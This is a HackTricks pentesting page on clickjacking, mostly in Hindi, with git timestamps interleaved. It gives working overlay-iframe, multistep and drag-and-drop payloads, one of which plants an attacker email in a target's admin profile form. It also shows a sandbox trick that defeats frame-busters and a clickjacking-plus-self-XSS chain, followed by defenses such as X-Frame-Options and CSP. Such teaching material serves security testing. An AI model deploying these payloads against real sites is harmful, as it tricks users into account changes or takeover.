hacktricks/pentesting-web/clickjacking.md

230 lines
20 KiB
Markdown
Raw Normal View History

# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
## What is Clickjacking
एक क्लिकजैकिंग हमले में, एक **उपयोगकर्ता** को एक वेबपेज पर एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल या संवेदनशील जानकारी का प्रावधान, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी।
### Prepopulate forms trick
2020-10-13 11:29:54 +00:00
कभी-कभी एक पृष्ठ लोड करते समय **GET पैरामीटर का उपयोग करके एक फॉर्म के फ़ील्ड के मान को भरना संभव होता है**। एक हमलावर इस व्यवहार का दुरुपयोग करके एक फॉर्म को मनमाने डेटा से भर सकता है और क्लिकजैकिंग पेलोड भेज सकता है ताकि उपयोगकर्ता बटन सबमिट दबाए।
2020-10-13 11:29:54 +00:00
### Populate form with Drag\&Drop
यदि आपको उपयोगकर्ता से **एक फॉर्म भरवाने** की आवश्यकता है लेकिन आप सीधे उनसे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप उनसे बस यह कह सकते हैं कि वे **Drag\&Drop** करें कुछ ऐसा जो आपके नियंत्रित डेटा को लिखे जैसे [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में।
### Basic Payload
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### मल्टीस्टेप पेलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
यदि आपने एक **XSS हमले की पहचान की है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील है**, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\
2023-11-06 08:38:02 +00:00
उदाहरण:\
_आपने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। उन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग** के लिए **संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।_\
\_\_एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमले की तैयारी कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को **फॉर्म सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**
## Clickjacking को कम करने की रणनीतियाँ
### क्लाइंट-साइड डिफेंस
क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं:
* सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
* सभी फ्रेम को दृश्यमान बनाना।
* अदृश्य फ्रेम पर क्लिक करने से रोकना।
* संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना।
हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट्स को दरकिनार किया जा सकता है:
* **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं।
* **HTML5 iframe `sandbox` विशेषता:** एक हमलावर `allow-forms` या `allow-scripts` मानों के साथ `sandbox` विशेषता सेट करके फ्रेम बस्टर स्क्रिप्ट्स को निष्क्रिय कर सकता है बिना `allow-top-navigation` के। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह शीर्ष विंडो है, उदाहरण के लिए,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` और `allow-scripts` मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष स्तर की नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर `allow-same-origin` और `allow-modals` जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ अनुमति दी जानी चाहिए।
### सर्वर-साइड रक्षा
#### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `<frame>` या `<iframe>` में एक पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जो Clickjacking को रोकने में मदद करता है:
* `X-Frame-Options: deny` - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
* `X-Frame-Options: sameorigin` - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
* `X-Frame-Options: allow-from https://trusted.com` - केवल निर्दिष्ट 'uri' पृष्ठ को फ्रेम कर सकता है।
* सीमाओं का ध्यान रखें: यदि ब्राउज़र इस निर्देश का समर्थन नहीं करता है, तो यह काम नहीं कर सकता। कुछ ब्राउज़र CSP frame-ancestors निर्देश को प्राथमिकता देते हैं।
#### सामग्री सुरक्षा नीति (CSP) frame-ancestors निर्देश
**CSP में `frame-ancestors` निर्देश** Clickjacking सुरक्षा के लिए सलाह दी गई विधि है:
* `frame-ancestors 'none'` - `X-Frame-Options: deny` के समान।
* `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` के समान।
* `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` के समान।
उदाहरण के लिए, निम्न CSP केवल उसी डोमेन से फ्रेमिंग की अनुमति देता है:
`Content-Security-Policy: frame-ancestors 'self';`
अधिक विवरण और जटिल उदाहरण [frame-ancestors CSP दस्तावेज़](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) और [Mozilla के CSP frame-ancestors दस्तावेज़](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) में पाए जा सकते हैं।
### सामग्री सुरक्षा नीति (CSP) `child-src` और `frame-src` के साथ
**सामग्री सुरक्षा नीति (CSP)** एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड इंजेक्शन हमलों को रोकने में मदद करता है, यह निर्दिष्ट करके कि ब्राउज़र को सामग्री लोड करने के लिए कौन से स्रोतों की अनुमति देनी चाहिए।
#### `frame-src` निर्देश
* फ्रेम के लिए मान्य स्रोतों को परिभाषित करता है।
* `default-src` निर्देश की तुलना में अधिक विशिष्ट।
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ़्रेमों की अनुमति देती है।
#### `child-src` निर्देश
* CSP स्तर 2 में वेब कार्यकर्ताओं और फ़्रेमों के लिए मान्य स्रोत सेट करने के लिए पेश किया गया।
* फ़्रेम-स्रोत और कार्यकर्ता-स्रोत के लिए एक बैकअप के रूप में कार्य करता है।
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
यह नीति समान मूल (स्वयं) और https://trusted-website.com से फ्रेम और कार्यकर्ताओं की अनुमति देती है।
**उपयोग नोट्स:**
* अवशेष: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।
* फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
* सख्त स्रोत परिभाषा: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।
#### जावास्क्रिप्ट फ्रेम-ब्रेकिंग स्क्रिप्ट्स
हालांकि यह पूरी तरह से सुरक्षित नहीं है, जावास्क्रिप्ट-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### एंटी-CSRF टोकन का उपयोग करना
* **टोकन मान्यता:** वेब अनुप्रयोगों में एंटी-CSRF टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि स्थिति-परिवर्तन करने वाले अनुरोध जानबूझकर उपयोगकर्ता द्वारा किए गए हैं और क्लिकजैक्ड पृष्ठ के माध्यम से नहीं।
2023-11-06 08:38:02 +00:00
## संदर्भ
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}